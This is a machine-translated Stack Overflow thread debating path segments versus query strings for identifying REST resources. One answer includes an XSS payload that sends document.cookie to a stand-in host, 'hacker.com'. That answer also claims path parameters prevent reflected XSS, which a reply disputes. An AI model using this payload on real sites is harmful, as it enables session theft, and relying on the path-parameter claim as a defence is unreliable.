REST资源网址中的查询字符串


76

今天,我与一位同事讨论了在REST URL中使用查询字符串的问题。举两个例子:

1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua

我的立场是应按照示例1那样设计URL。这更加简洁,我认为在REST中是正确的。在我看来,如果产品代码不存在,从示例1返回404错误将是完全正确的,而在示例2中返回404错误将是错误的,因为页面应该存在。他的立场是,这并不重要,他们俩都做同样的事情。

由于我们俩人都找不到具体的证据(诚然,我的搜索范围不广),所以我想了解其他人对此的看法。


谢谢大家的回答。他现在已经同意,选项一比选项二要好,并且阅读/研究更多。
pythonandchips 2010年

29
请注意,REST中的资源应为名词而不是动词。因此,“首先按产品代码查找”是不合适的。
fletom

Answers:


48

在典型的REST API中,示例1更正确。资源以URI表示,而#1则更多。找不到产品代码时返回404绝对是正确的行为。话虽如此,我将对#1进行一些修改,使其更具表现力,如下所示:

http://localhost/products/code/4xheaua

查看其他设计良好的REST API-例如,查看StackOverflow。你有:

stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663

这些都是解决“问题”的不同方法。


11
+1是因为findbyproductcode比名词更动词-它是RPC调用,而不是资源。但是,当您拥有多个搜索条件而不只是产品代码时,我认为问题会有所改变,答案也会有所变化。/ products?size = {size}&color = {color}。我会对您对此的想法感兴趣。
ScottCher 2012年

34
我说:如果代码4xheaua产品ID,然后我会更好地去domain/products/4xheaua。相反,如果代码只是许多搜索条件之一,那么我会选择domain/products?code=4xheaua
superjos

1
我要补充一点,额外的路径部分应该表达一种类似于目录的分层关系。我相信,这是@superjos(+1)所说的基本原理。但是,并非所有资源都有ID,因此更通用一些。
2014年

这是对的。这使您可以不喜欢的事情本地主机/产品/新本地主机/产品/ firesale
理查德

该资源由2个字段标识呢?/ domain / projects?code = xxx&name = xxx
PeiSong

85

从客户端的角度来看,这两个URI之间没有区别。URI对客户端是不透明的。使用更清晰地映射到服务器端基础结构中的任何一个。

就REST而言,绝对没有区别。我相信这么多人确实相信仅标识资源的路径是因为RFC 2396中的以下行

查询组件是由资源解释的信息字符串。

此行后来在RFC 3986中更改为:

查询组件包含非分层数据,以及路径组件中的数据(第3.3节),用于标识资源

恕我直言,这意味着查询字符串和路径段在功能上等同于标识资源。


更新以解决史蒂夫的评论。

如果我反对形容词“清洁工”,请原谅我。这太主观了。尽管我确实错过了问题的很大一部分,但您确实有一点。

我认为是否返回404的答案取决于所检索的资源是什么。它是搜索结果的表示还是产品的表示?要知道这一点,您确实需要查看导致我们链接到URL的链接关系。

如果该URL应该返回产品表示形式,那么如果代码不存在,则应返回404。如果网址返回搜索结果,则不应返回404。

最终结果是URL的外观不是决定因素。话虽如此,习惯上将查询字符串用于返回搜索结果,因此,当您不想返回404时,使用这种样式的URL更直观。


13
引用RFC规范是可以的,但这并不是要问的问题。是的,这两个示例在功能上是等效的-对此没有争议。问题超出了教科书中对资源的定义(两者均适用)。对于他的问题,如果查询字符串中的代码不存在怎么办?404?他的问题的“清洁”方面如何?两者都是“有效的”,是的,但是恕我直言,#1更“干净”,并且与他要寻找的东西更加一致(结合下面我对StackOverflow的回答)。
史蒂夫·米歇洛蒂

5
我同意您在更新后的答案中所做的比较。对于没有404的搜索结果,查询字符串才有意义。对于产品代码(按照此问题),404和IMO是有意义的,在这种情况下,不使用查询字符串更为常见。感谢您提供更新的答案。
Steve Michelotti 2010年

@DarrelMiller您的意思是“恕我直言,这意味着在标识资源时,查询字符串和路径段在功能上是等效的”。您是说foo / resourcesfoo / resources?queryParam = bar被视为相同的资源标识符吗?还是那样,尽管资源标识符不同,但它们标识的是同一资源?
Les Hazlewood

1
@LesHazlewood都没有。它们是两个不同的资源标识符,用于标识两个不同的资源,但是任何一个都可以同样有效地工作。
Darrel Miller

11

GET有两个用例

  1. 获取唯一标识的资源
  2. 根据给定条件搜索资源

用例1示例:

/ products / 4xxheua
获取唯一标识的产品,如果找不到,则返回404。

用例2示例:

/ products?size = large&color = red
搜索产品,返回匹配产品列表(0到许多)。

如果我们说Google Maps API,我们可以看到它们使用查询字符串进行搜索。

例如 http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

因此,两种样式均适用于它们自己的用例。


4

IMO路径组件应始终声明要检索的内容。像http:// localhost / findbyproductcode这样的URL 仅表示我想按产品代码检索某些内容,但是究竟是什么呢?

因此,您可以使用http:// localhost / contacts检索联系人,并使用http:// localhost / users检索用户。查询字符串仅用于基于资源属性检索此类列表的子集。唯一的例外是,当根据主键将此子集简化为一条记录时,则使用诸如http:// localhost / contact / [primary_key]之类的东西。

那是我的方法,您的行程可能会有所不同:)


4

我认为,URI路径定义了资源,而可选的查询字符串则提供了用户定义的信息。所以

https://domain.com/products/42

在识别特定产品的同时

https://domain.com/products?price=under+5

可能会搜索价格低于5美元的产品。

我不同意那些说使用查询字符串来标识资源与REST一致的人。REST的主要内容是创建一个模仿静态分层文件系统的API(实际上不需要在后端使用这样的系统),这使直观的语义资源标识符成为可能。查询字符串打破了这种层次结构。例如,手表是具有配件的配件。在REST风格中,很明显

 https://domain.com/accessories/watches

https://domain.com/watches/accessories

每个参考。使用查询字符串,

 https://domain.com?product=watches&category=accessories

不是很清楚。

至少,REST样式比查询字符串更好,因为它需要大约一半的信息,因为参数的强顺序使我们可以放弃参数名称。


1
辉煌的答案。我完全同意。我只是添加查询字符串仍应在3种情况下使用:(i)分页。示例:domain.com/accessories/watches?page = 1(ii)过滤属性:domain.com/accessories/watches?fields =制造商,型号,价格(iii)搜索条件:domain.com/accessories/watches?price = LE + 100
Paulo Merson

3

这两个URI的结尾不是完全RESTful的。

但是,“ findbyproductcode”部分肯定会更加安静。为什么不只是 http:// localhost / product / 4xxheau

以我有限的经验,如果您有一个唯一的标识符,那么像... / product / {id}这样构造URI看起来就很干净。但是,如果产品代码不是唯一的,那么我可能会更像#2设计它。

但是,正如Darrel观察到的那样,客户端不必理会URI的外观。


对于“如果产品代码不是唯一的” +1。写例如http://www.google.com/search/democracy代替http://www.google.com/search?q=democracy...或者只是我们的习惯,这有点违反直觉。
Sergey Orshanskiy 2013年

3

这个问题专用于什么是更清洁的方法。但我想关注另一个方面,即安全性。在开始深入研究应用程序安全性时,我发现可以通过使用PathParams(方法1)而不是QueryParams(方法2)成功地防止反射的XSS攻击。

(当然,反射的XSS攻击的先决条件是恶意用户的输入会在html源中反映回客户端。不幸的是,某些应用程序会这样做,这就是为什么PathParams可以防止XSS攻击的原因)

之所以可行,是因为XSS有效负载与之结合使用PathParams会由于有效负载本身内的斜线而导致未知的,未定义的URL路径。

http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

而使用QueryParam!将成功攻击!

http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>

这就是为什么要清理用户输入的原因。与问题无关。
Vsevolod Golovanov

2

在许多实际意义上,查询字符串都是不可避免的。...考虑一下,如果搜索允许对所有指定的ve使用多个(可选)字段,将会发生什么情况。在第一种形式中,必须固定并填充其在层次结构中的位置。

想象一下以这种格式编码一般的SQL“ where子句”。但是,作为查询字符串,它非常简单。


1

从哲学上讲,页面不“存在”。当您将书或文件放在书架上时,它们会停留在那。他们在那个架子上有一些独立的存在。但是,仅存在页面,只要该页面驻留在已打开并能够按需提供的某些计算机上即可。当然,该页面可以始终动态生成,因此在您提出请求之前,它不需要有任何特殊的存在。

现在从服务器的角度考虑它。假设它是正确配置的Apache ---不是仅将所有请求映射到文件系统的单行python服务器。然后,URL中指定的特定路径可能与文件系统中特定文件的位置无关。因此,页面在任何清晰的意义上都不“存在”。也许您请求http://some.url/products/intel.html,您会得到一个页面;然后您请求http://some.url/products/bigmac.html,什么也看不到。这并不意味着存在一个文件,而没有另一个。您可能没有访问其他文件的权限,因此服务器返回404,或者可能bigmac.html是从暂时关闭的远程Mc'Donalds服务器提供的。

我想解释的404只是一个数字。没什么特别的:它可能曾经是,40404或者-2349.23847我们刚刚同意使用404。这意味着服务器在那里,它与您进行通信,它可能了解您的需求,并且没有任何回报。如果你认为这是适当的回报404http://some.url/products/bigmac.html当服务器决定不担任无论出于何种原因的文件,然后你可能也同意退货404http://some.url/products?id=bigmac

现在,如果您希望对尝试手动编辑URL的浏览器用户有所帮助,则可以将他们重定向到包含所有产品列表和某些搜索功能的页面,而不仅仅是给他们一个404---或可以提供a404作为代码和所有产品的链接。但是,您可以执行以下操作http://some.url/products/bigmac.html:自动将所有产品重定向到页面。


1

对于REST客户端,URI结构并不重要,因为它遵循带有语义注释的链接,并且从不解析URI。

由开发人员编写路由逻辑和链接生成逻辑,并且可能希望通过检查URL了解URI结构确实很重要。通过REST,我们将URI映射到资源而不是映射到操作-野外学位论文/统一接口/资源标识

因此这两个URI结构都可能存在缺陷,因为它们包含当前格式的动词。

1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua

您可以find通过以下方式从URI中删除:

1. /products/code:4xxheua
2. /products?code="4xxheua"

从REST角度来看,选择哪一个都没有关系。

您可以定义自己的命名约定,例如:“通过使用唯一标识符将集合简化为单个资源,唯一标识符必须始终是路径的一部分,而不是查询的一部分”。这与URI标准所声明的相同:路径是分层的,查询是非分层的。所以我会用/products/code:4xxheua

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.